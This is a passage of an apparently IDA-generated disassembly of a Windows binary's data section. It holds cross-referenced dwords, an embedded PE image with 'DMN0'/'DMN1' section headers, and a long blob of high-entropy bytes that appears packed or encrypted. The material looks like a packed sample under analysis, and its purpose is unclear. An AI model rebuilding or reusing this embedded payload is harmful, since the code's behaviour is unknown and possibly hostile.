dword_412828	dd 14CF38h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411218o
dword_412840	dd 14CF10h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411214o
dword_412858	dd 0DE00D9AEh		; DATA XREF: sub_4095D0o
					; DMN0:004095F7r ...
dword_41285C	dd 1C81AB9h		; DATA XREF: DMN0:004095FDr
					; DMN1:0044AA68r
dword_412860	dd 14C530h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40103Co
					; sub_401048+4o ...
dword_412878	dd 14C580h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401097o
					; DMN0:004010D2o ...
dword_412890	dd 14C558h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401165o
					; DMN0:004011DEo ...
dword_4128A8	dd 3F2318h		; DATA XREF: sub_40122A+18r
					; sub_40122A+41w ...
dword_4128AC	dd 0			; DATA XREF: sub_406A81+63r
					; sub_406A81+268r ...
dword_4128B0	dd 0			; DATA XREF: sub_406A81+DAr
					; sub_406A81+F5r ...
dword_4128B4	dd 0			; DATA XREF: sub_406A81+D4r
					; sub_406A81+10Dr ...
		dd 1Dh dup(0)
dword_41292C	dd 3 dup(0)		; DATA XREF: sub_4023DC+15o
					; sub_443847+15o
dword_412938	dd 9503F8h		; DATA XREF: sub_403B86+1Cr
					; sub_403B86+3Dr ...
dword_41293C	dd 0			; DATA XREF: DMN0:00405D1Fo
					; DMN0:loc_405D32o ...
dword_412940	dd 0			; DATA XREF: DMN0:loc_405D15w
					; DMN0:loc_405D45w ...
dword_412944	dd 0			; DATA XREF: DMN0:00405DCBw
					; DMN1:00447236w
		dd 3 dup(0)
dword_412954	dd 0			; DATA XREF: DMN0:00405DD2w
					; DMN1:0044723Dw
dword_412958	dd 0			; DATA XREF: DMN0:00405D24r
					; DMN0:00405D37r ...
off_41295C	dd offset aNmsl		; DATA XREF: DMN0:00405D7Br
					; sub_405E59:loc_405E67r ...
					; "NMSL"
dword_412960	dd 0			; DATA XREF: sub_405E59+13w
					; sub_405E59+30o ...
dword_412964	dd 0			; DATA XREF: sub_405E59+18w
					; sub_4472C4+18w
dword_412968	dd 0			; DATA XREF: sub_405E59+22w
					; sub_4472C4+22w
dword_41296C	dd 0			; DATA XREF: sub_405E59+29w
					; sub_4472C4+29w
dword_412970	dd 0			; DATA XREF: sub_406010+Br
					; sub_406010+5Fr ...
dword_412974	dd 400h	dup(0)		; DATA XREF: sub_40628E+1Bo
					; sub_40628E+31o ...
dword_413974	dd 14C5A8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_406A81+2Fo
					; sub_447EEC+2Fo
dword_41398C	dd 3F1E90h		; DATA XREF: sub_409110+6Fr
					; sub_4091B0+1Br ...
		dd 3Fh dup(0)
dword_413A8C	dd 20h			; DATA XREF: sub_4091B0+6r
					; sub_409630+28w ...
		dd 15Dh	dup(0)
		dd 47220F21h, 0
		dd 10000h, 0Ah,	80000018h, 0
		dd 47220F21h, 0
		dd 10000h, 1F41h, 80000030h, 0
		dd 47220F21h, 0
		dd 10000h, 419h, 48h, 14058h, 17278h, 2	dup(0)
		dd 505A4Dh, 2, 0F0004h,	0FFFFh,	0B8h, 0
		dd 1A0040h, 8 dup(0)
		dd 100h, 0E0010BAh, 0CD09B41Fh,	4C01B821h, 909021CDh, 73696854h
		dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
		dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
		dd 4550h, 3014Ch, 3 dup(0)
		dd 0A18E00E0h, 10Bh, 3 dup(0)
		dd 47C5Ah, 1000h, 0
		dd 10000000h, 1000h, 200h, 2 dup(0)
		dd 4, 0
		dd 49000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 48038h, 28h,	6 dup(0)
		dd 48060h, 10h,	14h dup(0)
aDmn0		db 'DMN0',0
		align 4
		dd 30000h, 1000h, 5 dup(0)
		dd 0C0000060h, 314E4D44h, 0
		dd 16C83h, 31000h, 16E00h, 400h, 3 dup(0)
		dd 0E0000060h, 324E4D44h, 0
		dd 78h,	48000h,	78h, 17200h, 3 dup(0)
		dd 0C0000060h, 64h dup(0)
		dd 4271523Bh, 0FB7BADD9h, 854EA64Bh, 0CC1754A7h, 0F3D7B33h
		dd 0F5962BFCh, 0B4AD4E64h, 0D58C5270h, 4E67126Dh, 0A04C07FCh
		dd 0EEF05CEAh, 0BDB012BCh, 110FF0B1h, 0BA3230Ah, 0B910C8FBh
		dd 0FAF24E31h, 4732A3AFh, 0ED0BF758h, 1917285Ah, 0E908C81Ah
		dd 89A92878h, 5CC91590h, 7E890FC3h, 0FC66C5AFh,	958AF618h
		dd 4041E609h, 0B4B1664Dh, 76D3CA52h, 25FAE2BCh,	0B8275F98h
		dd 9930A2EFh, 0FE0F968h, 7F579790h, 60C14DC7h, 921AD30Fh
		dd 0F6AE2BACh, 68DF1AADh, 0BE4AAE9Fh, 0FF99515h, 744C3C97h
		dd 0FFF76214h, 4E9A696Dh, 94590AACh, 0DAC94ED0h, 27311A1Dh
		dd 22333AA3h, 2208ADCEh, 0E5A4BF1h, 67F27FE6h, 96B0554Fh
		dd 0CAFFBBE1h, 0A4108C77h, 6E5E21C3h, 0A4360676h, 0AA1EC182h
		dd 895AF348h, 0D5BEB61Fh, 118D9872h, 5EAC2563h,	0C681B051h
		dd 0D0C9EEAFh, 0DA396419h, 445904BBh, 5305290h,	37A22758h
		dd 23DF964Eh, 0D3080101h, 6086E64Fh, 98CB8FC1h,	0F074DF8Bh
		dd 1DA8D20Eh, 8F36C7BCh, 37A7E692h, 0F73C7C8Ah,	27C69784h
		dd 0A3887A3Eh, 0DEEE2BFEh, 0BAADAB1Ah, 6C75FEEEh, 0E31CA04Fh
		dd 0D6F59971h, 14C58ADh, 0CC36940Eh, 0E3B151D6h, 3BE04042h
		dd 9466656Fh, 0F176BB4Bh, 0E56AF20Bh, 2BC17277h, 0B7BBCC13h
		dd 2B8A6A0h, 31FFAD5h, 9FBBABA1h, 94E90BF5h, 1BA7AAD3h
		dd 57F938CAh, 1656D13Eh, 0EFD79247h, 0C824F886h, 6467D92Ch
		dd 544DA9F0h, 466219D2h, 0B5B9B5E0h, 106C472Ch,	0FB1F1825h
		dd 7962BE6Ah, 7A21AEA4h, 0C3173E30h, 0AFE33D9Fh, 836BE899h
		dd 0F0B25872h, 0D753E729h, 0B40BD96Bh, 2E52482Eh, 0AA18E094h
		dd 54CCA910h, 0C5682487h, 0CD3E110Ah, 477BD2DAh, 3C03AA82h
		dd 0AE4FE8F1h, 692BE96Ah, 691A1836h, 750F220h, 0B9AB7214h
		dd 693DFA4Bh, 9965E6BCh, 0A1CDF690h, 9E0CADEEh,	4D307725h
		dd 7E14E8Ch, 9831F8A1h,	0C821DE35h, 0C3768B31h,	0FD9F22C5h
		dd 0CE8F9A53h, 0B3D63A5Fh, 53BA4921h, 0B5920CF2h, 5E063F23h
		dd 642BBE1Dh, 15A6643Dh, 5BC4B5FCh, 0F005091h, 0F63012DBh
		dd 30B3347Fh, 38C369Dh,	2CC0B7E7h, 78C6CDBEh, 0C121AC01h
		dd 0BBA58590h, 0C35D483Bh, 2699D6C8h, 0E9C85AA6h, 25384C82h
		dd 0C589F478h, 2E565DEh, 0F7518D31h, 97AE8D2h, 2AE860B4h
		dd 3006E848h, 721187E4h, 4C89D317h, 4C1D3BEBh, 0B17501F4h
		dd 25948F33h, 78C52EAEh, 755D17A6h, 0C650183Fh,	0FF467E1Bh
		dd 52F3169Fh, 0AB539F4Dh, 8E7AA5DDh, 0E8BD4EE4h, 0E53C65FAh
		dd 0EC00C9F1h, 36E50463h, 85C29107h, 8F7D24Fh, 0FF902FE6h
		dd 5E88E4D3h, 0ACEC3771h, 0A92BF95Ah, 0A19F50AAh, 6C65FAF2h
		dd 57F4AC57h, 74CCA92Dh, 1F9B9401h, 6075B2C4h, 3C3EBCCDh
		dd 4FFF595Dh, 5FA97977h, 885340ECh, 7022F058h, 1AB2CB76h
		dd 0BA7C78E1h, 8CA60985h, 856FA65Bh, 0FAAC84Ch,	61C549B2h
		dd 83B9F98Dh, 0EDF3D827h, 0E3D16322h, 94657A52h, 35EC1B90h
		dd 4D2E8526h, 6B1DA68Ch, 0DC50F10Ah, 1AD103AFh,	0C7D47F65h
		dd 39D2D89Dh, 97344258h, 63953147h, 8372E0D4h, 110357A3h
		dd 5406136Ah, 11F09840h, 0B6BBA602h, 8C99759Dh,	2E828AD2h
		dd 329EFDF1h, 0E158D4Bh, 74EB3C29h, 8C658604h, 0DBD20BC1h
		dd 98EFA43Fh, 3368B046h, 18851380h, 0CEDBF508h,	62FCE3BFh
		dd 849F8493h, 130ABAEFh, 0BF94D6FAh, 926C351Ah,	4AF232BFh
		dd 297D190Ch, 0F7A87F75h, 389D02AEh, 0B831698h,	0A59DD298h
		dd 0F1116D44h, 3B2FBD7Bh, 5F63CA84h, 0F5E62D5Dh, 3360CE0Bh
		dd 0CC70D82Eh, 0C3C670Ch, 7515BB24h, 0ACB12FECh, 0EBF281E8h
		dd 5A4FA938h, 0E367F226h, 0A5F15586h, 37B6A939h, 91B61A39h
		dd 0FC5E6DEh, 0F13CB119h, 8AB86236h, 16333DF6h,	0DFA43AE3h
		dd 8A218102h, 5244A748h, 2BFA4F78h, 52F28E0Ch, 76BB5948h
		dd 2E843CA6h, 432C40C9h, 0BADC2AD8h, 14A20E69h,	2891E303h
		dd 4FCACB0Ch, 86702440h, 0FA8270DBh, 0D473ADF6h, 4ADBAB2Dh
		dd 6D8BAD2Eh, 0AA5ED4E2h, 0FFF4F308h, 0AB17937Eh, 5126D87Fh
		dd 0A3104582h, 182C99F4h, 0ED609BFBh, 706C60CBh, 0A6B54990h
		dd 6ADF69C4h, 6C4CC33h,	0EFF7EE36h, 5E945627h, 1D5F9A94h
		dd 8A6A0EDBh, 5091FC71h, 6A3F727h, 0B23E99C8h, 2D4432D8h
		dd 0C9F35C19h, 0B7189FFAh, 717FFE2Eh, 244368D6h, 0F252C373h
		dd 0A4C56A30h, 4E6A0B3h, 0A543B30h, 0E613F987h,	51D512C6h
		dd 7FB4h, 0A2A2A7BDh, 98306D26h, 95036055h, 0C7FDACF2h
		dd 85007F24h, 0B3693D99h, 0D30480DFh, 84932E66h, 0A9EA3570h
		dd 97F7EBD2h, 0EE939DE2h, 6524CB1Bh, 79744054h,	864E13Dh
		dd 0DF111DB4h, 9BD37C81h, 0E4BA7CF2h, 61C98A46h, 8A0DBA49h
		dd 5FABF363h, 0BC0DDBF9h, 14687C6Dh, 3D9CC0A5h,	9AEF8303h
		dd 626A03F7h, 805C25D4h, 33CF1B79h, 9E5E9264h, 0BD09C998h
		dd 0B06081C0h, 544ABF64h, 91FD0FB8h, 0CB5629BFh, 0F287B083h
		dd 0DA78B800h, 0A4686B57h, 347FD31Eh, 0E3EF3B80h, 0DBB1F98Ch
		dd 3D4A8B22h, 698BAB46h, 0B8CC3F60h, 38920F0Bh,	0D63B4C88h
		dd 8526272Bh, 0AF55FA94h, 3EF618E0h, 36CF1C5Dh,	3B0BCB90h
		dd 0D1B12Ah, 0E982B759h, 89A49D18h, 0B3FAD3FCh,	64503B19h
		dd 0AC6900D2h, 91E406CBh, 0F4E9A656h, 4428317Eh, 0CF8DD477h
		dd 0B6B4B086h, 4A513769h, 8D1470DFh, 0DD91D917h, 85F4BB6Ah
		dd 3342798Eh, 154CBD76h, 47AD374Eh, 70EF27A0h, 4E0E4DEh
		dd 0E18C7CEh, 0B53D5307h, 72EDA8BEh, 29C9D80Fh,	0AF52258h
		dd 0BF30B497h, 0B585C69Fh, 0ED0ADD25h, 0CAFDA629h, 63A23978h
		dd 62A7396Fh, 7D63A9Ah,	0DEF8C3D5h, 4D19107Ah, 0DF0DFCFBh
		dd 7993253Ah, 0B89CE252h, 0D6DB0953h, 0F015D552h, 0C5428257h
		dd 3A0395ADh, 31F89566h, 0B5137B0Ch, 31BE4265h,	0D427203Dh
		dd 71CD6E66h, 43FD98B6h, 1F148064h, 0D89E90AFh,	269E9AE4h
		dd 0DD0A6A2Fh, 19AC3023h, 0BB8B3872h, 2D0F71B5h, 392E87C7h
		dd 65D273FCh, 0CA0001F6h, 23B18598h, 0D15488A4h, 2AC8BCDEh
		dd 5BFA02h, 1F72E95Bh, 2588A3DEh, 0ECB04DA3h, 1C65EF2Bh
		dd 0A5D0BF9Dh, 76B0E526h, 49BB5BCBh, 9A914C92h,	0CDE28274h
		dd 0AEC0AFC1h, 0B0594197h, 9E781AE4h, 0F0EBB9BDh, 9147DAA0h
		dd 0A30D6682h, 7E223DEFh, 0CF4FC4FAh, 48CF6925h, 0CB58457Ah
		dd 447F7BF4h, 0FFE881AEh, 885DB8AEh, 0D1205D2Bh, 90D9F602h
		dd 0CFA34A1h, 7786A30Bh, 93EE29AFh, 8B32D3FBh, 3A833897h
		dd 353F227Fh, 653194D3h, 0E081F5CCh, 3BEBF4DEh,	0F0CF6BFFh
		dd 5433D785h, 58CD9D45h, 10C141B2h, 890CB73Eh, 3D31C659h
		dd 942EF4Dh, 537C3B65h,	0B41F91Ch, 588B144Bh, 436197A2h
		dd 0D7095435h, 8C49C2F7h, 153DB5A7h, 786F7E05h,	0FECBD660h
		dd 0F3D06CC9h, 8982E30Ah, 0E28941EDh, 0D6BEC4C9h, 2D1D5000h
		dd 6F7A64F9h, 0A6385CD4h, 2D672D8Eh, 0A1C8B002h, 9D164252h
		dd 2CCB692Ah, 81195BD5h, 63935597h, 27FD8F65h, 288B18DBh
		dd 0AC5197F8h, 7F1E3127h, 594145D8h, 15BB22C9h,	2CFDE88Ch
		dd 0E3E8284Fh, 6A476C0Eh, 6BBD1F75h, 2F4A5188h,	2E48FEFh
		dd 0FD7C3456h, 72DE24B2h, 321252FAh, 8392BCAh, 11A1E890h
		dd 0CF0CC260h, 384E22D2h, 0C60C96E0h, 0CB1D6D2Ch, 6D5160Dh
		dd 3847C835h, 2B792EF5h, 24CB53E0h, 67922FFAh, 64EE456Dh
		dd 280F2D9Ah, 1FA9683Ch, 433B0047h, 0EC9A3D97h,	97D13D29h
		dd 0F5FE33BFh, 60A421ADh
		dd 8F408456h, 0AA137F01h, 3D046622h, 77E0A3B2h,	0B0994AFCh
		dd 3549964Ch, 0F6684D3Eh, 0F24EFA67h, 1821C9Bh,	3212670Dh
		dd 6F3591A9h, 5D3A17FCh, 0EF704079h, 0B8194C1Ch, 9E28BC15h
		dd 0D2FBB731h, 1398DED5h, 49D8D86Fh, 3CE1571h, 2E90A6DFh
		dd 8620C89Fh, 75BE8CBDh, 68B4BE27h, 46ED0F71h, 794D6DC8h
		dd 75F92081h, 0D273ECDBh, 120EC88Dh, 0C4D954A8h, 71D90B0Ch
		dd 0EFD02E32h, 314103F9h, 927A9CBh, 518B563h, 4D0A5A6Fh
		dd 73B0C63Eh, 0B4397574h, 0D9E6E6EEh, 662A6328h, 942E7747h
		dd 3EBEB55h, 20F8C232h,	9915F01Fh, 0A4FF6F6Ch, 0C6A0F75Eh
		dd 2F7786D6h, 5F9F8502h, 15F57FF1h, 70993CBh, 7D30F91Eh
		dd 20C7774Dh, 228EB528h, 0EC2F4476h, 35E33210h,	2FB9F00Ch
		dd 8E7AB348h, 92A8D742h, 0E49583D3h, 0B6FA9666h, 19C583ACh
		dd 0E76CF1CBh, 0E3CAC685h, 0A8E62479h, 967D2821h, 0B16D47ADh
		dd 0C851375Bh, 96782554h, 0B5CF4679h, 0F6AE6CA7h, 366F3DF7h
		dd 83972A8Bh, 0DC54B99Eh, 0ABB743BDh, 0EF4AD6BFh, 0EE951525h
		dd 757DB355h, 58A86C39h, 6343E4DCh, 0D30BEE1Ch,	4DE77C51h
		dd 0A04B3673h, 612540AEh, 822310A0h, 5B46769h, 89D4F67Ch
		dd 0A15C3121h, 0D4E75F93h, 8181C197h, 0B0F795DFh, 85913E96h
		dd 0C3039681h, 0C4CC9BA0h, 7C6D3C32h, 5BB31930h, 9DB4B6B6h
		dd 3440A69Fh, 726EFD25h, 0DF568A39h, 70660C76h,	39FA4993h
		dd 31A938FEh, 576AFA0Dh, 28462769h, 0DA38BB9Fh,	79B00CF9h
		dd 38C84DB9h, 0AAD23F40h, 774775CFh, 6AAF417Eh,	66DBFEC7h
		dd 0F857457Fh, 0A00792ADh, 4B5806B2h, 0D23C4411h, 3D5F9DDh
		dd 7D984AEDh, 8994F031h, 0B4D482BDh, 64ACCEE1h,	0E2FDFDF7h
		dd 36CA5D06h, 0A3675CE0h, 0F3D1CD2Ah, 289FEE7h,	683BE4F9h
		dd 0B1516F94h, 0E529D4C1h, 0BEA78DCDh, 7BF16CCCh, 36E74255h
		dd 0F6258D8Ch, 0D6D6B510h, 0C5EE2148h, 1B25973Fh, 0E2130CD6h
		dd 0A075C74h, 63A8E738h, 0F1B338E9h, 0DCE67192h, 4EE3E9A2h
		dd 64135543h, 7AA596FBh, 0FDEDC2EAh, 6D534B27h,	6234C544h
		dd 5753E4Bh, 5D25D60Bh,	0A28A3926h, 78D58879h, 0D5790986h
		dd 0AC9C1514h, 0B1AE1F2h, 63A79A32h, 1A6C67C2h,	0C6B586BDh
		dd 82853BCAh, 6D5D91Ah,	5C65279Ch, 0B424E4EBh, 107AFCFFh
		dd 83D115CBh, 0F5CAAF2Fh, 6D597566h, 0F52400BDh, 463C8989h
		dd 0ACC0EDC9h, 3C35B8D8h, 9E283B81h, 0E8D52849h, 6292B8BFh
		dd 0E340BD7Ch, 0DDB0078h, 5B198B53h, 0EEF185B4h, 7480CE4Eh
		dd 6152ADCBh, 5B3735C8h, 0D4820A7Fh, 0E756437Fh, 0B41B10A4h
		dd 34362E07h, 872B740Ah, 0DEEB5FA5h, 819E7ED2h,	0CCE0C1E5h
		dd 0B86C4767h, 0DCF792C5h, 42A546E6h, 0E7717B93h, 54E553E0h
		dd 9E6246B7h, 1A47BE9Bh, 1F7A860Bh, 0CA00F63Bh,	103D6C17h
		dd 938868Fh, 6DAD0A69h,	69FC5B51h, 51C823A7h, 42F43455h
		dd 0E09CEA4Fh, 7A5CAB54h, 0B3A60B85h, 0FBB75DBDh, 67C3815Ch
		dd 0B32C52D6h, 65BBCADh, 27FEAFDBh, 22100CD5h, 11BA0BF5h
		dd 0CA1B3F7Eh, 5C6F1A55h, 5E96D077h, 9A810739h,	8B7ECEFBh
		dd 0D7B4DDA2h, 924A1FC1h, 467EB9F2h, 3A9AAB5Ch,	0E6F972F5h
		dd 0FEDBF3ABh, 91D92654h, 822E422Fh, 0FC986E56h, 0E8659B1Dh
		dd 8306E223h, 83E816D8h, 913AE9Fh, 8D96C45Eh, 0D0D4996Ch
		dd 39571AEh, 704F9F6h, 2ABB6B9Ah, 0F4044345h, 0A5D1464Dh
		dd 91882A5Eh, 0A622A0D8h, 0ED89EDA5h, 0AF9112C4h, 1380E674h
		dd 8D176532h, 8CB95BA5h, 7F4B7748h, 0E493FF99h,	4B4AADCEh
		dd 18511B7Bh, 0B53E2424h, 6DFAB9E1h, 0B0F63A6Ch, 0C44C634Eh
		dd 0A2DD5E43h, 30BC88DEh, 6D0F209Bh, 4BFE4DEFh,	0F324206Ch
		dd 453D8F97h, 19A48CFAh, 229081FCh, 1C8ADE6h, 0E4CDB15Eh
		dd 0D5CB45C8h, 3EEDF963h, 5554805Dh, 3112575Dh,	37B0C051h
		dd 4E221AE5h, 0CFF715Bh, 0A66264FBh, 787186F2h,	2EB0CBEDh
		dd 7159DDEEh, 0C93340BCh, 76D7F263h, 8D6B8DC4h,	9E1C517Bh
		dd 556D0C57h, 7603AAE1h, 72EC4853h, 0E90F0DD2h,	0EB3C36B6h
		dd 0F446BD8Ch, 3EC9BE01h, 5C969389h, 69EEA98Bh,	0E0781149h
		dd 0E3784C2Ch, 70FBABE6h, 9B883F38h, 91E3F562h,	6D936D07h
		dd 0D61FF610h, 55854874h, 5D05A9h, 62B314C5h, 0EBCDD650h
		dd 142D4182h, 0B074DE78h, 3C14D295h, 50322A39h,	309CA6E1h
		dd 772BD2A9h, 5080341Dh, 76082768h, 1362C5A9h, 79246C9h
		dd 5524947Bh, 9D1E4F8h,	0F073A858h, 0FBFF2973h,	5F1BBE9Eh
		dd 0F6DBB625h, 0D7B57D6Ah, 6C36369Bh, 1127936Ah, 99639B2Ah
		dd 0C0AF72F7h, 9FD22FB4h, 8E679DEAh, 0E63E03CAh, 12BDD198h
		dd 796B36E0h, 8A2A6D9Eh, 2C69DC40h, 0C5CC979Eh,	424726EFh
		dd 268E41E8h, 0DF98A8A1h, 97C94936h, 558955EDh,	0E2A75065h
		dd 0F2443A59h, 0EF900F38h, 20D59F12h, 1DA8F020h, 0EE7A6B63h
		dd 0D119EFAAh, 0D6B2101Ch, 0FE181743h, 0AD9F68BBh, 9C00D7EEh
		dd 30F82B87h, 3134984Ah, 18F82694h, 0E510D6EBh,	0E85B3978h
		dd 0A0462C6Fh, 3F2C52EAh, 8D08A66Ch, 22A2AF37h,	0B548108Dh
		dd 0A9AB01FBh, 688DCB48h, 83BB5407h, 0C62B2E03h, 2928E9Ch
		dd 0AAAB2859h, 0D17AC50Ah, 531CADFCh, 555B275Ch, 90DC45F8h
		dd 0D6E67EBFh, 0F9D57B65h, 0FC47488h, 0AD722434h, 347811C5h
		dd 0F963D05Fh, 226020FEh, 2380DA24h, 7905440Fh,	4805627Ah
		dd 0F2B38F9Ch, 1F4CA956h, 7C56EDEFh, 0C6EF890Fh, 0E9BEF2DBh
		dd 4AF7FC57h, 51046621h, 0C350C2EEh, 4B0E5BEFh,	0CB390BDAh
		dd 37E4B01Fh, 0D81B6DFCh, 133E1728h, 7F880037h,	0EB1F0C74h
		dd 78560180h, 93EC2673h, 8ACE2036h, 2204E017h, 0BCB9AE14h
		dd 0FA932690h, 2A2C4ED6h, 0FD135750h, 0C0CE4816h, 60396458h
		dd 0A5D6CBF8h, 0C5F270F0h, 21E35943h, 0C4FECCB5h, 0C00E63DFh
		dd 0BCCA58E1h, 0C6362D7Bh, 0DF1826B4h, 0E85DE89Ah, 6054F850h
		dd 4C3749F1h, 98BECDCDh, 0CB783FEh, 4D9D80EFh, 31FE853h
		dd 5C30E3E8h, 7EE70118h, 0DC735F2Ch, 214FB695h,	0A79A5863h
		dd 86F2897Ah, 0BC9C39C1h, 0C70CC79Dh, 5D153456h, 654AB781h
		dd 9B0D5735h, 39F64BFFh, 50CB2951h, 15A6551Dh, 4F3E23Bh
		dd 796CAFF7h, 0C498BF39h, 0AC7EEFBh, 6568CD04h,	122E9063h
		dd 285E13Ah, 0C090FC32h, 2DF6221Eh, 0BFCC3ABBh,	20F78C73h
		dd 515B3E8Ch, 0F3729F21h, 8B274605h, 0C50029EDh, 0F78F3297h
		dd 11C4C3ECh, 0FF4C7E76h, 3865F03Bh, 9F8CB672h,	322A7D8Ah
		dd 0B5031E98h, 5E8F95B8h, 0E861A530h, 9D3314D6h, 37141C1h
		dd 0EC53F079h, 23AD7551h, 193BEDBEh, 5C7FBF33h,	902C5C96h
		dd 0E074691Fh, 0A1A228CCh, 61A6F48Bh, 0AF6D7851h, 0C9E0D2C4h
		dd 935EBA5Ah, 61A56D08h, 85BDA2E2h, 0CBA25FBFh,	7B82AC92h
		dd 2A7B7006h, 32D8D05h,	24911A15h, 612BB5B2h, 6671137Bh
		dd 80C68AB0h, 1D06CE7Ch, 64AAACAEh, 0BCEB8BBAh,	4555D2C3h
		dd 5636BAA6h, 0D239D4A0h, 0D6474A49h, 0D784C364h, 2C91D779h
		dd 0E7D86703h, 0E9A51F17h, 0EF05835Bh, 0F5B57EA7h, 0C92C036Bh
		dd 0E878F460h, 36BDC7D4h, 18821EE8h, 0F53434B9h, 0ACB48C38h
		dd 8544D45Ah, 37170553h, 1E78D23Eh, 6902C5D9h, 6631080Fh
		dd 3190912Eh, 648EEB55h, 488CA7Eh, 1B47B859h, 0C4FB0045h
		dd 0F6506E5h, 0D33DB37Dh, 824A46FEh, 36DE99B0h,	0E051C836h
		dd 0CBDF410Ch, 72448B8Ch, 0D936FAD4h, 0CD518839h, 8A2B44CAh
		dd 0DEC6A36Ch, 8E33A21Ch
		dd 37A57068h, 0DF5D34C7h, 5E646D24h, 47AF73C2h,	2BA65F30h
		dd 9D79042Fh, 6D7671F3h, 7A2FEE1Fh, 69FF6A12h, 1169D0F4h
		dd 5B9ED199h, 5FFAD080h, 7F961085h, 8B41884Bh, 6538556Dh
		dd 2D018E03h, 0E098B9BAh, 85319488h, 74A4C43h, 5A89AFABh
		dd 543CE76Bh, 9B5A047h,	0D1FA00B5h, 0D7C54495h,	8E8D501Bh
		dd 0ED0BEE9Fh, 5BFC616Eh, 7C043E70h, 0F412D16Eh, 0AA13E709h
		dd 0E210EF34h, 0ABB75476h, 0A3DC117Ah, 0AEE20970h, 0BCECD335h
		dd 0AA223C98h, 0F78908A8h, 0F4112DDCh, 841524EBh, 0AFDA2BC2h
		dd 4A22B1B1h, 0C6187174h, 0B5D4A49Ah, 4269E3CCh, 27B06A6Dh
		dd 9A9BA8C6h, 37E4BC9Ch, 0A0A51DB0h, 0E99566Dh,	11E7C56Ch
		dd 0AD0FDC5Eh, 96654F38h, 248B2022h, 0FD42C836h, 0B65FCE8Ah
		dd 5E587160h, 861F1837h, 0EB67D14Ch, 0DDA0D7DBh, 0D3A9B1Ah
		dd 0D1D0F59h, 391A2CF6h, 0C91CF920h, 73AF9818h,	8CBC1876h
		dd 929E01DBh, 1A99826Fh, 0D2FAAC38h, 3B432D7h, 60E43466h
		dd 0F716B3ABh, 574C8B64h, 262CC09Bh, 202C22C7h,	8E17471Eh
		dd 0AF660E7Dh, 6AC5301Eh, 597E22D1h, 0A5FFA005h, 0D97E88C3h
		dd 8CBA2136h, 38F47268h, 0ADEA6239h, 942C1091h,	90DCB3D0h
		dd 968E96A1h, 563774C3h, 7710A041h, 354C36A6h, 0F7795F00h
		dd 1136F166h, 60473F09h, 2E0168BDh, 0E1AD3E7Fh,	0CDA683Ah
		dd 0C4FA57FBh, 1B3A2625h, 2A5E2D99h, 7D9A918h, 0DF425FFh
		dd 732A6AEFh, 47D3995Eh, 0BFD70E78h, 0A9E97F89h, 1DEF96A5h
		dd 73457E17h, 0E25C068h, 148830ECh, 36893BA1h, 406B3FBh
		dd 3E6912Ah, 69463037h,	47DE7944h, 634D6E70h, 0CC4F2E70h
		dd 3F1F9E34h, 3B785B0Bh, 711C6B1Dh, 581CD5D7h, 5E13E6F5h
		dd 0BA49044h, 0E318EBC3h, 1C7D07Ch, 5C7DB9BBh, 3F5D479Eh
		dd 6EC0A128h, 0D5327F2Ah, 64F21E66h, 94EBB5CBh,	21C2AB76h
		dd 0CB661266h, 0FBA41AEEh, 1E37E16Dh, 4945C857h, 5B5589F4h
		dd 0A1AFD3FAh, 0DD572995h, 0A620B4C8h, 6AC3FAA8h, 0A901D777h
		dd 15BD72C3h, 5649D122h, 7FF3B0CBh, 4B83669Ah, 0BE333A75h
		dd 0FCADB10Eh, 8E5E423Ch, 0C53AF3D0h, 24CF73D1h, 55D3BCDFh
		dd 0E9415E63h, 0F9D11D68h, 0B169B114h, 1DF5E57Eh, 6DCB7782h
		dd 986B8742h, 0A52B9197h, 0BB333536h, 0C863F295h, 4C0D9A69h
		dd 2B5B9FA0h, 0CFE80C17h, 0FC291C1h, 98B2837h, 22DEA591h
		dd 8A8B5E52h, 243ADBD4h, 5890E33Dh, 3D6B7374h, 98C71713h
		dd 113D5FE7h, 0AAAF1C5Eh, 4363842Bh, 9DA66BE3h,	77F91A28h
		dd 3AD21A68h, 9259D769h, 0B498C218h, 540BCE10h,	0B75B4328h
		dd 46F96DB1h, 0AE568916h, 0EC5FFF16h, 63238D49h, 9609DD0Fh
		dd 9B502D70h, 3F33BE35h, 6BF0F36Ch, 793251D4h, 0E84D3A76h
		dd 0DA2F1150h, 15686526h, 0BF041838h, 0F1679183h, 6EC4D9h
		dd 9CD95D1Ah, 39C4A98Eh, 94104B81h, 24E8DE87h, 9E97A4BDh
		dd 8E46B350h, 0FA04E10h, 46FFC6D5h, 0C09E690Ch,	319E0B6Fh
		dd 9E2898D5h, 22E5E0FDh, 77EC6BAh, 6DECABB9h, 0D560619Eh
		dd 39CBAC8Ah, 78C32828h, 4F586929h, 0C4DC7C3h, 0AADE215Dh
		dd 17337E93h, 0A5BE2DC2h, 0C6A09EC5h, 29158AC8h, 0FDAE3CEAh
		dd 6A5BD387h, 68C2CCF2h, 0B39A63C8h, 8AEF6BF8h,	0B25AA8D6h
		dd 70FE92B9h, 722AFEF6h, 56E5CF52h, 7E7DC89Bh, 5059E4BBh
		dd 0F3FE9E9Ch, 5A88CDC9h, 35B9EB7h, 3564D1B0h, 10C613Bh
		dd 0DA684A9Fh, 359AC6Bh, 78DCF571h, 0EEF6D6EDh,	5C13F616h
		dd 653FC8E6h, 0CD60A271h, 1A02841Dh, 72BBCC8Dh,	30BF8F42h
		dd 0BB588634h, 0D68A0662h, 0A2F713D3h, 0F3E3EC21h, 0DF068BE8h
		dd 80E9521Bh, 8DB2C17Ch, 0C5816397h, 7BDD16DDh,	0DAE4C86h
		dd 101C6350h, 5BCD4750h, 0D517B5CEh, 0A46EEF32h, 0BE295F5h
		dd 0C390C300h, 0B2513D5Dh, 57502555h, 57B38445h, 220C814Eh
		dd 14401671h, 6973F86Dh, 66AAF6C2h, 0CD2274E1h,	68EB1FABh
		dd 738EB500h, 334E73A9h, 892675D5h, 265A9EAFh, 6C86FF26h
		dd 0B9CB27B3h, 0F02349B3h, 0CFB50E28h, 0CBC8ECB3h, 220F6565h
